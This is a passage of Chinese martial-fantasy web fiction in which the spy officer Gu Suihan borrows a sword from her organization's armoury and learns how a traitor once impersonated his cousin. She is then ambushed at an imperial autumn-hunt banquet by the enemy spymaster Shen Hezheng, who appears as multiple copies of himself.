她沉默片刻品味了一下,妥协道:“好吧,但无论如何,此去青州寻找碎曦剑还是第一要务,侍棋倘若跟我去,还务必要听我指令行事。”
谢停舟这回倒是没什么异议,很爽快地就答应了。三人在地牢门口道别,就各自回了自己的值房。
顾岁寒走到半路,忽然想起来手里的那本记录武器出入的册子还没还,就干脆溜溜达达地往库房的方向走去。
从幻境中的世界脱离出来后,她一直有些头晕眼花,整个落棋阁的院子都在她眼中天旋地转,使得她有些生理性的反胃。这种反胃在她进入地牢,听到陈筑的狂笑时达到了顶峰。
她其实很早就到了牢门边,走到那里时,正好听到陈筑的那句鹦鹉学舌。
老实说,她第一次听到那句话时,其实没什么感觉。陈筑说的所有事,说的所有话,都仿佛和她隔着一层障壁似的,听是听了,但不知为何,就像听说书似的,不觉得是发生在自己身上的事。
那时她甚至不像蒋奚那样感到过愤怒,连她都对自己的置身事外感到心惊肉跳——明明被陈筑怪腔怪调地学习的是她自己。
直到现在,走到了天光之下,她才后知后觉地品出了一丝味道。
原来,她曾像一条尊严尽失的狗一样,在沈和正的面前求饶啊。
她其实将很多事情都已经忘得很干净了,譬如说潜入青州之后的所有经过。但在刚刚经历的那幻境一般的过去中,她却奇异地在“自己”身上,找出了吉光片羽般的一角。
不知是不是因为那时在共用一个身体的原因,她感受到了那个自己当时所有的心境。
那时候的她,在面对未知的强敌时,心里有恐惧,有退缩,但从来没有怯懦过。
在对方的万千条思绪中,她捕捉过那么飞鸿踏雪般的几条,其中有几条让她印象最为深刻——
蹲在沈和正院子里的树上时,“自己”曾经想过:“我会被抓住的吧……如果失败了,会生不如死吗?会被用来威胁南盛吗?”
那时她最能通感到“自己”的退缩的时候。那几瞬之间,她是真的确切地在想要转身就跑。
对于沈和正的恐惧和敬畏在师父和同僚们的宣传之下已经深-入骨髓,在树上蹲的无所进展几个时辰也在告诉她:她只有夜深人静的那一次机会,而且很有可能失败。
沈和正的阴影一直像乌云一样盘踞在落棋阁的所有人之上。连张首晟都曾经悲观地说沈和正狡诈如狐,无人能赢。
而她现在要潜入狐巢,从这老狐狸的下巴掏出她要的明珠。
她听见“自己”的呼吸都乱了几拍。但也就是这几拍而已,几息之后,“自己”心中似乎忽然找到了定海神针似的,慢慢地平稳了下来,呼吸也恢复了原来轻而稳的节拍。
她听见“自己”说:“不,我不能放弃。”
“现在全落棋阁只有我一个人能完成这件事。宋将军还在沙场征战,无数大盛儿女还在因为那柄邪剑死而无依,魂飞魄散。”
“我一定要做到。没了这把剑,前线的压力至少能轻不少。”
“阿爹阿娘,保佑我吧。”
想完这些,“自己”就仿佛进入了一种神奇的、类似入定般的状态,脑子中的畏惧和胡思乱想都少了很多。
在“自己”身体里的顾岁寒感到了一种微微的惊奇。
原来曾经的自己,只需要靠这样简单的、哄骗似的话语就能找到心中的方向,好像看到了水中月的猴子,在心中的胜景前又唱又跳。
而“自己”的月亮,就是“自己是有用的,有人需要自己”。
好年轻的锐意,好一往无前的决心。
而这样的自己,却最终在沈和正的折磨之下,说出那样尊严尽失的话。
虽然顾岁寒自认为现在自己的脸皮已然厚如城墙,但这并不代表她不对过去的自己感到惋惜。
那样一个骄傲的,才华横溢的少女,就此沉没在时光的长河中,留在了他人口中的故事里。
甚至连她自己,对她的记忆都已经模糊不清。
残阳如血,远山染黛。
顾岁寒沐浴在光中,隔着手指间的缝隙看着渐渐没入山顶的斜阳。
她第一次如此迫切地想找回自己的记忆。
至少、至少……
她想在过去的时光里打捞起她自己,给自己写个墓志铭。
看管武器库的白棋正支着脑袋昏昏欲睡,就感到有人进来了,瞬间打起精神:“有什么……欸,执棋大人!”
顾岁寒定睛一看,发现居然是熟人:“小八?你不是跟在蒋侍棋身边做事的吗?”
在武器库当班的正是当初驾车带她和谢停舟去韩府的小八,顾岁寒对他的碎嘴子记忆犹新。
小八挠挠头不好意思地笑了:“执棋久不在阁中,定然是不记得了,武器库的值守一直是大家伙轮班的,今天正好轮到了我。”
顾岁寒若有所思,“那排班是按什么排的?有固定的表吗?”
小八连连答应:“有的有的,我找找……”
他在桌子下一阵翻找,翻到了一个破破烂烂的本子递了过来。顾岁寒顺着日期往回翻,找到了自己想要的——
当日在武器库值守的,是个名叫小七的黑棋。
顾岁寒又往后翻了翻,那小七再也没出现在表上过。她微微一顿,随后面无异色地递回了本子:“好,我知道了。对了,我能进库里看看吗?”
小八连忙说:“当然可以,执棋!我来给执棋开门。”
他颠颠地把身后厚重的红木大门打开,躬身请她进去。
门打开的瞬间,一股冷铁的锈味扑面而来。顾岁寒一步踏进去,就被里面高抵房梁的木架震慑到了。密密麻麻的刀、剑,还有各种旁门左道的暗器,都分门别类地收纳好,静静俯卧在架子上,像一座座无字的墓碑。
她一路往里走去,目光快速从架子上掠过。走到最深处时,她的目光在一个凌乱的架子面前停住了。她微微一顿:“这个武器架,为什么这么乱?”
小八连忙上来解释:“执棋有所不知,这些都是有问题的武器,比如说刀柄松动啊,还有剑豁刃了啦,归还时都会暂时放在这里,每过一段时间就会有专门的人拿走修理,实在修不了的就直接回熔炉了。”
顾岁寒心思微微一动:“那会不会有人来取武器时,不小心拿走了报废的?”
小八连连摆手:“不会的不会的。弟子们来这里取武器时,都是先在门口那里填好表,再由负责值守的弟子进来拿。值守的弟子手上都有武器摆放位置的图表,是不会有有错的。”
顾岁寒微微沉吟,小八看她似乎仍有疑惑,于是道:“执棋还有什么不解的吗?在下可尽力解答。”
顾岁寒若有所思地看了他一眼:“你知道小七吗?”
此话一出,小八脸色大变:“执……执棋为何问这?”
“你不是说会尽力解答的吗?”顾岁寒似笑非笑,“我就随口一问。小七名字和你如此像,怎么,你们认识?”
第一次看到那个名字时她就有所猜测。落棋阁不时兴给弟子们取代号,大家都是用自己进阁之前的名字互相称呼,小七小八数字相连,很有可能是哪个穷苦人家的兄弟起的贱名。
她本意只是随口一问,没想到小八反应激烈,这才起了兴致。小八在她的目光下脸色渐渐涨红了,却不是羞涩的红,而是愤怒的红。
“小,小七那混账原是在下的表兄弟,家中穷苦,我二人又恰巧被姬师姐看中,就将我俩一同卖进了阁中。那混账进来后就被分作了黑棋,和我不甚往来,结果,这厮不仅出卖了阁里的兄弟,还扮作了在下的模样!当真可气!”
顾岁寒挑眉:“哦?怎么个扮作你法?”
小八又叽里咕噜说了一长串,大意是自姬泠死后一两个月,蒋奚先是怀疑她的冤案是因为阁里出了内鬼,暗中自查了一番,结果还真找到了,但和姬泠一案无关——问题出在西南落棋阁分舵,那时小七小八都刚刚出师,为分舵效力。小七作为黑棋,往来诸镇之间收集白棋们的消息,而小八则在阁里做分舵主的副手。
而问题就出在小七身上——西南是南盛和妖修之国滇南国的接壤地,滇南看落棋阁深-入自家国土的信息网不爽已久,一直想找机会掀翻。
而当时的小八,在分舵有一定地位,且掌握滇南各地情报,自然成为了滇南的不二之选。几番接触之下,滇南终于联系上了“小八”,并许以重金作为报酬。出乎滇南意料的是,“小八”很爽快地就答应了。
西南分舵的不少消息就此流到了滇南手中,但幸运的事,“小八”被策反后不久,落棋阁就开始自
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查内鬼,将“小八”和“小八”联络的一整条滇南暗线都连根拔起。真相大白的那一日,滇南才发现,自己一直心心念念成功策反的“小八”事实上是同样掌握不少消息的小七。
小七被落棋阁惩处后,小八被曾担任过西南分舵主的蒋奚看中,提到总舵当了自己的副手,这才有了今天这一幕。
听完,顾岁寒好奇道:“当时滇南暗线的人都没起疑?小七和你掌握的信息范围压根不一样大吧?”
小八苦笑:“据说他管辖范围外的消息,他也杜撰了不少,在加上通敌时间又短,才没被发现……不过这也是我推测的了,因为我也高低算事内人之一,所以很多事都没有告知我。”
顾岁寒顺口问:“那小七现在在哪里呢?”
小八垂下眼:“听蒋侍棋说,应该是被秘密处决了吧……阁里虽然给了我们丰厚的报酬,但那是在忠于阁内的情况下,不是吗?”
顾岁寒“啊”了一声:“节哀。”
“没什么好哀的。”小八淡淡的,“我们俩很小就进了阁,之后他在黑棋,我在白棋,交集很少,也没什么感情。我就是气他用我的名头骗人。”
顾岁寒叹了口气,不说话了。两个人在木架见狭长的廊道里走到了底,转身向来路走去。
快到门口时,顾岁寒的余光瞥见架子顶端的一丝银光,不由驻足:“……那时什么?”
“嗯?”小八闻言驻足,低头从自己怀里掏出了一张纸。顾岁寒瞥了一眼,注意到那应该是库里武器具体的摆放图。小八比照了片刻,迟疑道:“这应该是阁里哪位前辈自己的兵器,没有在图上写明……执棋稍等,我拿下来给您看看。”
说罢还未等顾岁寒反应,他就提气纵身上跃,在书架间几个接力,取下了那样东西,轻轻落到地面,双手奉给了顾岁寒。
顾岁寒本来想夸他轻功好,但注意力却先行被那东西吸引了——那是一柄长剑,剑鞘饰以幽蓝色的贝母,看起来寒气逼人。她的态度不知为何审慎了起来,双手接过那把剑,将剑鞘上固定用的皮扣打开,将内里的剑身拔-出-来了两寸。
但出人意料的是,这柄剑剑鞘还称得上华丽,剑身一眼看去却是朴实无华。顾岁寒将剑翻了个面,才看出来一丝端倪。
这剑应当属硬剑一类,剑身不能弯折。但锻剑的剑师技艺非凡,在保证剑自身的刚硬度之下将剑身锻打水磨至极薄,侧面看去几乎如纸片薄厚。这对剑师的技术要求极高,绝非一眼看去那样平平无奇。
可以想见,这剑用起来应当是极轻而灵的,剑主很有可能是个身形轻灵的人,剑招应该也很快。顾岁寒并指抚过剑铭——因为剑身实在太薄,为保证剑刃根-部的强度,这剑铭甚至是阳刻的。
“霜……尘?”她眯眼,念出了剑铭的两字。话出口时,她福至心灵,接上了下句,“一穹星霜,一身尘灰。推我柴扉,问我何归……?”
风尘仆仆的旅人星夜兼程回到家中,阔别多年的家人却不愿相认,问旅人,为何归来?
听她念诗,小八惊奇地看了她一眼,迟疑地张大了嘴:“……啊?”
“没什么。”顾岁寒合上了剑,还是有点恋恋不舍,“你把剑放回去吧,既然是前辈的东西,我也不好妄动。”
“没有关系的,”小八热情道,“如果是重要的东西的话,前辈们走的时候都会带走的,这剑既然在武器库内,就是可以随意借用的意思。”
顾岁寒踌躇片刻,最终还是没能抵御过内心对于此剑的喜爱,勉强道:“那你把表给我吧,我暂且借用这剑一段时间。”
小八自然是极殷勤地取来了表。顾岁寒在“借用物”中填了“剑一柄”,签名时第一笔却起成了一撇。顾岁寒微微一愣,补上了一横,才将名字顺利签好。
小八将武器库门关好,鞠躬将顾岁寒送走。顾岁寒拎着剑,走到天光下时,还有种不真实感。
爱剑在手,她却有一种微妙的不踏实感,打算先把剑放回自己在宋安澜府上的屋子里再说。她从缩地千里阵回了侯府,一路上没遇见什么人,畅通无阻地回房将剑收好。结果她刚出来没走几步,就遇见了侯府的一个家将着急忙慌地跑过来,见到是她,大松一口气。
“末将见传送阵有余波震动,猜是执棋已然回府,这才来寻找,”那家将气息紊乱,喘了几口才继续说,“——侯爷有急事相找,还望执棋前往书房一叙!”
15. 清平乐 三
“所以说……陛下的意思是……”顾岁寒觉得有点难以相信自己的耳朵,“因为他害怕沈和正,所以哪怕暂时错过碎曦剑的消息,他也要把我留在他身边看护?”
宋安澜烦躁地揉了揉眉心:“他是这个意思……我就奇了怪了,他以前也不是这么胆小的性子,怎么如今变成这样了?”
偌大的书房里,顾岁寒看着宋安澜的脸,只觉得匪夷所思:“——殿下,要不你反了吧,我支持你做皇帝。”
短短醒来半个月,她就已经听说这小皇帝的诸多昏聩之举了,这还了得?
宋安澜挥了挥手:“乱说什么呢,一天天没轻没重的……这件事的决定权在你,我就是来通知一下宋礼这王-八蛋的想法,毕竟落棋阁的令牌在我手上,他再怎么说也要给我两分薄面。”
话是这么说,但在场的两人都心知肚明。宋安澜此前为了腹中胎儿的事已经和宋礼起了一次争端,现下再为了顾岁寒这么一点不算特别紧要的事忤逆宋礼,对君臣之间关系有害无利。
书房里一时间安静了下来。暖黄的阳光打在窗纸上,树叶的影斑随着时间缓缓挪移。顾岁寒看着这宁静的一幕,只觉得心乱如麻。
一方面,听说了碎曦剑的消息,她确实很想过去查探一番。碎曦的消息能到她手里,就迟早能到归雁台手里,她不敢再冒一次碎曦被抢走的险;另一方面,虽然宋安澜张口闭口“小王-八蛋”“小混账”地称呼宋礼,但她知道宋安澜内心深处还是很宠爱这个一母同胞的弟弟的,不然凭她的火爆性子,不会在腹中胎儿之事上一让再让。
——但说实在的,单从她一个局外人的角度来说,宋礼对宋安澜的感情未必像宋安澜对他那样深厚。宋安澜这样,当断不断,必受其乱。
顾岁寒看着宋安澜,几次三番想开口劝解一下她不要对宋礼那样用心,但最终还是没有出口。他们帝王家事,她一个外人插嘴又算什么呢?有些事宋安澜心里未必不清楚,她点明了反而有可能讨嫌。
宋安澜看她几次三番欲言又止,却是会错了意思,以为她态度在松动,不由得软声道:“梅臣,就帮我这一次,好吗?”
——明明帮你不止这一次了吧。顾岁寒在内心小声吐槽,却不得不承认自己肯定还是会帮她。宋安澜救性命,之后又前前后后照料了数月,哪怕没有小时候的情分,顾岁寒也会报答她这恩情。再三思量后,顾岁寒投降了:“——殿下,你和我说说,这秋猎宴到底是怎么一回事。”
这话就要从去年说起了。
去岁,北周与南盛之间统共发生了大大小小十数次争端,其中最大的一次便是发生在北周夺走碎曦剑之后。北周因为魔修众多,一度在修士较少的南盛面前占尽优势,但战事每到后期,便十分乏力。
究其原因有二:第一,北周大部分疆土地处极北,气候苦寒,百姓多以放牧为业,因而粮食稀少,受天时影响大,所以无力支撑持-久的战事。
其二,倘若北周打过了大结界线,线那边的浊气极度稀少,魔修施展法力的源头没了,天然优于南盛修士的能力便消失了。
是以,虽然次次战事刚开始都是北周占上风,但只要南盛这边顶住压力,多撑几日,最终北周往往也讨不到什么便宜。
今年年初,北周铁血手腕的老皇帝突然病危,国事暂由太子接管。老皇帝多疑,是以太子也选的是个优柔的,接管国事之后渐渐就有些弹压不住朝中众臣。
太子摇摇欲坠地撑了大半年,最终还是露了颓势,据传上月北周朝中差点哗变。就在这千钧一发之际,太子忽然灵光一现,向南盛伸来了求援之手。
只要南盛能帮助他站稳脚跟,他就有办法让北周向南盛交岁贡,两国友好邦交,自此不起战事。
而沈和正一行人,就是太子派来讲和的使臣。
“等一下,”听到这里顾岁寒疑惑道,“我虽然很多事情都记不太清了,但北周朝中的状况还是知道一些的。你刚刚提到这小太子手段优柔,那他又是有什么权力能让北周和南盛交好的?而且他老子是病了又不是死了,能眼睁睁地看着这事发生?”
“这我就不知道了,退一百万步说,你信不信不要紧,反正我那个傻瓜弟弟是信了。”提到这宋安澜也是烦躁地揉了揉鼻梁,“那小太子应该是提前写过信给宋礼,我要过,他不肯给我看。但要我说,就凭他能差遣得动沈和正为他出使,这小太子就不像想象中那样简单。落棋阁里没有这方面的信息吗?”
“没有,”顾岁寒诚恳道,“殿下都说了是沈和正相关的事了,落棋阁就更不可能有了。”
沈和正对于落棋阁而言就像一个蒙着黑布的戏法箱,众人只能望而兴叹,不敢伸手进去试——因为前人都已经证明了,伸手的人都没有什么好下场。
“唉,”宋安澜越想越是烦恼,单手握拳往桌案上重重地锤了一下,“真是的……那么话又讲回来了,秋猎宴的时候陛下会在上林苑接见沈和正一行人,他想请你从旁看护,行不行?”
“可以是可以的……”但是沈和正是来讲和的,要是他真想对宋礼下手,岂不是违背了他出使的初衷?退一万步讲,就算他真对宋礼做了什么,以她那点能力也拦不住啊?
但宋安澜显然听见她前面的答案就已经十分满意了:“那就好,梅臣,我就这样回宋礼了。”
顾岁寒:“……是,殿下,那我去和谢侍棋提一下,北疆之行恐要延后几日。”
“哦,那个,你不用说了,”宋安澜大手一挥,“宋礼那边也派人和他说了秋猎的事,当天所有还在临安休沐的将军都会来,他肯定也会在。”
顾岁寒眉角跳了跳:……
不得不说,跟他姐相比,宋礼这胆子实在是太小了。
几日后,秋猎宴当天。
顾岁寒坐在茂密的树冠间,一身翠绿几乎和树冠融为一体。她遥遥看着为宴席忙碌往来的宫人们,一时之间百感交集。
虽然时过境迁,节气变幻,但这位置还是如此熟悉。
秋猎是南盛自前朝传下来的传统,本意是为了让皇族男儿不要只坐书斋中,也要常习武义。但到了现在,已经是形式大于意义。先帝在时,连续
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几年的秋猎都没有动过箭了,满朝文武浩浩荡荡地来上林苑,一起热热闹闹地吃一顿,再浩浩荡荡地返朝。
今年暑热比往年长,这秋猎看起来就更没有要恢复旧制的意思了,毕竟不少文臣都疏于君子六艺的习练,上马跑两圈恐怕要中暑,所以今年的秋猎也是开一顿宴席了事。
现下是辰时末,已有臣子陆陆续续进场落座。顾岁寒为了让多疑胆小的帝王安心,带着手下一帮黑棋在天刚刚擦亮的时候就把整个宴会场搜了个底朝天。可能正是因为起早,眼下她在树上待久了,竟是有些犯困起来,咬了好几下舌尖让自己保持清醒。
说起来她以前似乎能几天几夜不睡觉在别人房梁上蹲守来着……她模模糊糊的想,忽然看到两个熟悉的身影进场和别人寒暄。她精神一振——那正是宋安澜和姬昀。
从上前找他俩的人来判断,宋安澜在武将和少部分位置靠后的文臣中还是颇有人脉的,但不少品级高的文臣对他们夫妻俩都是不冷不热,在位置上作壁上观。
应付了各路人马之后,宋安澜二人就找到自己的位置坐了下来。宋安澜刚落座就眯着眼找了一番,就看见了在树冠里当猴的顾岁寒,冲她很是俏皮地眨了眨眼睛。
顾岁寒不方便暴露自己,就扬了扬手里的重剑展锋做回应。姬昀似乎也顺着宋安澜的眼神看见了她,弯起笑眼附耳和宋安澜说了些什么。
顾岁寒有些好奇这俩人在咬耳朵说什么,于是费力想去看姬昀的唇语。正当她凝神去看时,却忽然感到了一股阴冷的视线。
她微微一惊,目光在场里扫视了一圈,却并没有找到那视线的源头,只好将已到场的人先大致记下来。
她又在原地坐了片刻,还是觉得心里有些不踏实,趁着又有大人物入场,没人注意她这边时,悄悄换了一棵高一点的树蹲。
蹲好之后,她发现刚刚入场的是韩玉青夫妇。那天去韩玉青府上时顾岁寒没见到他,如今一看,果然是一表人才,不愧是状元郎出身;姬漓也是盛装陪同,光彩照人。这一对郎才女貌,恍若天上神仙,十分养眼。
世人第一眼都会喜欢外表更亮丽的人,顾岁寒也不能免俗。她看着这二位在场中一路攀谈,不由得面露微笑。这一对和刚刚宋安澜二人正好相反,上来攀谈的武将少而文臣多。顾岁寒看着,心里渐渐就有了数。
其实之前宋安澜就跟她提过韩玉青现下执掌江南文臣一派牛耳之事,但不如她亲眼所见来得直观。江南本就文风兴盛,书院众多,考学进入朝中的也大多会因为同乡互相提携,是以朝中拉帮结派之风盛行,尤以江南文臣为主。少有的北方学子入朝为官,也因为人数稀少、品阶较低不成气候。
顾岁寒正暗中思忖朝中暗波汹涌的派别关系,那种阴毒的目光就又跗骨之蛆似的追了上来。这次她反应极快,在对方未收回目光时就正正好和他对上了眼神!
那人见被她逮了个正着,却也不惧,微微挑眉露出了一个挑衅的笑容。但顾岁寒在脑中思索了一圈,却并没有找到对应的脸。
……他是自己失忆前的熟人吗?
16. 清平乐 四
这个疑惑注定暂时无果了。
那男人不怀好意的目光很快就移开了,但顾岁寒后颈还是隐隐有种被窥视的起鸡皮疙瘩的感觉。
一阵凉风吹来,推来一片乌云遮住了阳光,宴席上顿时暗了下来。顾岁寒不祥的预感愈发强烈,思量再三,她把展锋拔出鞘,将它一分为二握在手里,心里才稍微安定下来。
很快就要到开宴的时间,司乐府也开始奏乐。宫人们流水般送上各色小点酒水,众臣喧哗,一派和乐,如果不看天气,便是好一幅热闹图景。
顾岁寒看着场内,不知为何心跳得很快。她舔了舔自己的虎牙,思量片刻,用指尖在自己的耳廓背面画了个半圆,过了一会,感觉画过的地方微微热了起来,才说:“清文,沈和正那边现在怎样?”
——这是落棋阁的黑棋们出任务时互相联络的方法,称为“应声虫”,是将彼此关联的符咒画在耳朵上,便可以在想联络时听到彼此声音。
这是谢停舟来落棋阁之后新研究的小玩意,这次也是第一次用。来之前谢停舟特意上门让她小心使用,不要太过依赖,担心会出岔子。
话说出去之后,顾岁寒等了好一会,差点以为这符咒真要出问题时,那黑棋的话断断续续地传回来了:“……沈……一直在……执……放心。”
顾岁寒:“……”好吧,不能说很完美,但也能用。
按照礼部的安排,沈和正从驿站出来后,跟着众臣的车队上了山,现下应该在上林苑的一处偏殿里等候召见。顾岁寒因为要看顾皇帝这边,没办法兼顾到偏殿,只好支了手下远远盯着一点。
希望不要出什么岔子。
不知道是不是上天听见了她的心愿,时间一路平平顺顺地推到了开宴,顾岁寒这下也是见到了一直活在宋安澜描述中的皇帝。
出人意料的是,这宋礼应当是继承了他们家一贯的好相貌,长得十分仪表堂堂,一点都看不出来端庄皮囊下那点畏畏缩缩的胆量。不知是说到了何处,皇帝举杯祝酒,其下众臣纷纷起身回礼。
那酒杯刚放下,顾岁寒就听见礼官远远唱道:“宣——北周使团——觐见——”
礼钟“当——”地一声,余音在山谷间回响,震得顾岁寒脑中隐隐作痛。她不由得伸手微微捂住耳朵,余光中,一群人浩浩荡荡地从正门进到席间,领头的正是沈和正。
——那是一种直觉般的认知。明明在此之前,她完全记不起沈和正的样子,但见到他时,顾岁寒就立刻断定了他的身份。
看清他的脸的瞬间,一种无来由的,撕裂般的痛感在她脑中炸开。顾岁寒脸色瞬间变得惨白,浑身打起了细细的冷战,差点一个重心不稳从树上掉下去。
与此同时,沈和正也向她这边看了过来。
她看见沈和正微微挑起嘴角,冲她说了句什么,随后又若无其事地将头转了回去,向皇帝恭敬行礼,一揖到地。
顾岁寒呆呆地坐在原地。头还在痛。而那四个字化作了有如实质般的声音,在她脑中盘旋,仿佛吐着信子的毒蛇,向她张开了名为命运的深渊巨口。
他说:“找,到,你,了。”
剑刃破空声在她耳中如惊雷般炸响。顾岁寒背手抽刀抵住,却在看清来者的脸时震惊地睁大了眼。
宴席中,不少武将都在沈和正出现的那一瞬间警戒了起来。不同于落棋阁在南盛的低调,归雁台在北周可谓是无人不知无人不晓。它在北周的地位高到代替了部分原本归于刑部的职能,周帝甚至可以直接支使它越过朝中的繁琐程序直接处决自己的心腹之患。
归雁台就是周帝用来将权力紧紧握在自己手中的爪牙,而沈和正就是那爪牙上最为锋利的一根。
他的武功高,心计深,大名在不少武将那里也是如雷贯耳,宋安澜这种在暗线上也和他打过交道的人更不必说。几乎是沈和正刚一露面,她就在桌子底下将自己的佩剑拔出了一寸。
不过出人意料的是,那沈和正竟然什么出格的事都没做。无数双眼睛明里暗里地盯着他,而他仿佛毫无所觉似的,一路施施然走进来,行礼动作行云流水,竟然还有几分赏心悦目。
不知道是不是场内外里三层外三层的护卫给了宋礼底气,他看起来也不像前两日巴巴地找宋安澜给他派人时那么不安了。
他人五人六地看着沈和正一行人行礼,面上露出一个笑容:“甚好,甚好。朕久闻沈司马大名,今日一见,果然是一表人才。甲寅,赐座。”
这话一出,宋安澜才注意到,今日在宋礼和皇后身边服侍的都不是太监宫女之类,而是宋礼自己的玄衣卫。这支卫队里都是大内高手,效忠于皇帝一人。
有落棋阁的人帮忙看护还不够,居然还把玄衣卫叫到了明面上。宋安澜微微扶额,感觉自己亲弟这坨烂泥恐怕真要扶不上墙。
想到落棋阁时,她下意识往远处顾岁寒藏的那棵树看了一眼,就收回了目光,大脑却是慢于行动一秒,意识到了问题。
她猛地又抬起头向那棵树看过去。
树冠上空空如也,顾岁寒不在上面。
她脑中“嗡”的一声,意识到可能要出事。
顾岁寒当然不在树上,她在树下。
时间推回到顾岁寒“看见”沈和正那句话时,她精神震动,完全没注意到有人在半空中从后面接近了她。等到她听到武器的破空声时,反击已经来不及了。
好在她之前已经把展锋拔出了鞘,匆匆之间拿起双刀中的一把反手抵住对方的剑,再借着两人兵器相交时那点力迅速抽身,在树干上几个借力,稳稳落到了地面。
另一把本来放在她膝头的刀失了主人,一路叮呤咣啷地掉了下来。
偷袭的人似乎也没有要乘势追的意思,御风而行,脚尖轻点落到了顾岁寒刚刚蹲的那个树杈上,轻得树叶都没有抖动一下。
只是一个交手,顾岁寒就已经落了下风。一上一下,一个狼狈丢了武器,一个衣角都没皱一下,高下已分。
那人冲她微微一笑:“几月不见,侍棋——哦不,现在是执棋了。执棋的武功似乎退步不少啊。”
顾岁寒却没有搭理他的嘲笑。原因无他,不过十来丈开外,有一张和这人一样的脸正在和席上的皇帝谈笑风生。风送来了二人爽朗的笑声,也将她背上的冷汗吹得一片冰冷。
“……你,”顾岁寒逼自己紧紧盯着他的眼睛,试图从里面看出一丝破绽,但她失败了,“到底是谁?”
“我是谁?”那人仿佛听见了什么世上最好笑的笑话一般,脸上的笑容止都止不住。
那笑容不是嘲笑,也不是讽笑,硬要顾岁寒形容的话,就好像是慈祥的长辈听见小辈闯祸时,那种宠溺的、包容的笑意。
他就用那种令她毛骨悚然的慈祥笑意,对她说:“执棋大人,我以为你在落棋阁这么多年,已经学会了不再相信人的皮相。”
顾岁寒不为所动:“我会认人皮面具,易容的法术也都了解。你,还有里面的他,你们都是归雁台的雁主,我不会认错。”
沈和正闻言哈哈大笑:“我什么时候说过我们两人中有人是假的了?”
话音刚落,他的身影就从原地消失,下一秒就出现在了顾岁寒面前。她瞳孔骤缩,下意识就想往后退,结果刚退一步,她就撞到了一个温热坚实的胸膛上。
她猛地回头,差点失声惊叫——不知何时,她的背后也出现了一个沈和正。两个沈和正就这样温和地、怜悯地看着她,叫她头皮止不住地发麻。
顾岁寒咬住了自己的舌尖,强迫自己冷静下来,却一下用过了劲,一时之间嘴里全是铁锈味。她忍着疼,皮笑肉不笑道:“没有假的,难不成这世上有这么多个沈雁主?那雁主自己就能租一个归雁台了,还要手下那些劳什子做甚?”
沈和正看着她牙上粘的一点血,就猜到她色厉内荏,但也不戳穿
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,只是微微一笑:“那可说不定。”
说罢,他骤然出手,一剑直取她面门。顾岁寒也摸清了他一惊一乍的风格,早就防着他突然发难,一刀架了上去。
刀剑相交,发出一阵叫人牙酸的摩-擦声,却并没能止住剑前刺的趋势。顾岁寒咬牙顶着力把刀往上一别,使了个巧劲,这才堪堪顶住了剑身。
刚刚说话时还看不出来,一动武,她就看出来了这几个沈和正不一样的地方——唯一一个动剑的开始用武功之后,另外一个就像瞬间痴呆了一般定在了原地,脸上的表情凝固住了,看起来有点滑稽。
刹那间顾岁寒就想明白了——她说此三人中有假的,至少一定程度上没说错,最有用的只有她面前这一人,剩下的都算残次品,至少用不了武功。
但即使她想通了这一点也没办法。她和沈和正的力气相差太大,在这种纯粹的力量角逐中,她根本不占优势。顾岁寒感觉自己的手腕已经开始微微发-抖,正四下里观察该如何卸力才能暂时脱开战局时,沈和正却忽然自己收了力。
好在顾岁寒人虽轻,下盘却稳,才没被这一下撤力带偏。她还没来得及惊愕,那原本木僵般的“沈和正”就忽然活泛起来。她反应不及,被那“沈和正”一掌拍中了后心窝。
她原本就重伤刚醒,气血亏虚,被这带着真元的一掌拍得直接眼前一黑,双膝一软就往前倒,被面前这沈和正接住。
刹那间顾岁寒的恐惧达到了顶峰,没有人比她更知道落进沈和正手中意味着什么。
黑暗的刑房、凄厉的哭喊,一幕幕记忆深处的影像走马灯似的在她眼前闪过。那恐惧带来了一种近乎回光返照的力量,她咬紧牙关,脚发力一蹬地,竟凭着这点蛮力将沈和正硬生生顶得退了两步!
这显然是沈和正始料未及的。他面上露出一点惊愕来:“你……”
话还没出口,远远的就有声音喊:“梅臣——”
顾岁寒心念微微一动。这声音是宋安澜的,她和沈和正在这边制造出的动静不小,恐怕是惊动了席上的人。
再看沈和正,却是一点都不慌张。他只是颇为玩味地看着在原地粗-喘的顾岁寒,露出了一个眼熟的、不怀好意的笑。
他说:“真有意思……执棋从我牢中逃出,伤却好得如此之快……有意思。”
“我们会再见的。”
话音刚落,他的身影就在原地消失,没入深林之中。而顾岁寒眼前发黑,再也支撑不住,软软地倒在了地上。
晕过去前,她听见宋安澜脚步声,于是彻底放下心来,任自己坠入黑甜的梦乡。
“殿下你别着急,顾执棋真的没事,您别老探她鼻息……”
“我怎么能不着急?”这是宋安澜的声音,她话里有浓重的鼻音,听起来似乎是哭过。顾岁寒感到新奇——她心目中宋安澜一直是个十分强大的形象,流泪和她风风火火的性格似乎并不匹配。
“阿泠就死在我面前,我什么都做不到。好,我认了,她一心求死,我拦不住。可是梅臣是我亲自派去上林苑的,她遇到了这样的事,我怎么能不着急?”
听起来姬昀在从旁劝慰:“沈和正居然能一分为三这种事,咱们怎么能预料到呢?蒋奚和小船都去查了,你也先缓缓……”
顾岁寒刚刚醒来,就听见床边有人争执。她好像刚从一场乱梦中醒来,梦里似乎有很多悲伤的事。
她费力想要回忆梦中事,但不知为何,当她想要细细思索时,梦境的内容便如流沙般在记忆的指缝中流走了。喉咙里干得好像要烧起来一样,她轻轻咳了两声,惊动了宋安澜。
她惊喜地回过身来:“梅臣?你醒了?饿不饿,要不要吃点什么东西?有没有哪里不舒服?”
顾岁寒说不出话,只好费力地抽出自己的手,指了指喉咙。宋安澜不明所以,还是姬昀先反应了过来,倒了杯温水塞给她,让她喂给顾岁寒润润嗓子。
17. 清平乐 五
顾岁寒在两个人关切的目光下一点点把水喝完,才费力地开口:“……这是哪里?”
话说急了,她又被水呛到,撕心裂肺地咳了起来。
“今天的宴会已经结束了,这是我在行宫的房间。”宋安澜抚着她的背,帮她把水顺下去,“但陛下那里还在等回话,梅臣,你能跟我说说你那边到底遇到什么事了吗?”
顾岁寒没有开口,只是看着她,宋安澜被她盯得有些发毛,但也不知道问题在哪里,只好硬着头皮问:“怎么了?这么看着我,有什么事不好说吗?”
窗外猛得起了一阵大风,树叶被刮得沙沙作响。顾岁寒抿了抿唇,这几天发生的事在她脑海中走马灯似的闪过。
抓陈筑那天,宋安澜这边也不太平。作为她的亲弟弟,当今陛下似乎也很忌惮这个手握兵权、在民间也颇有声望的姐姐。宋安澜一有身孕,宋礼就握住了一个天大的把柄。
从那天宋安澜和姬昀争执的内容不难看出,宋礼很想用有身孕的事拿捏住她,让她暂时回不了北疆,想借此事将流落在长姐手中的兵权取回来。
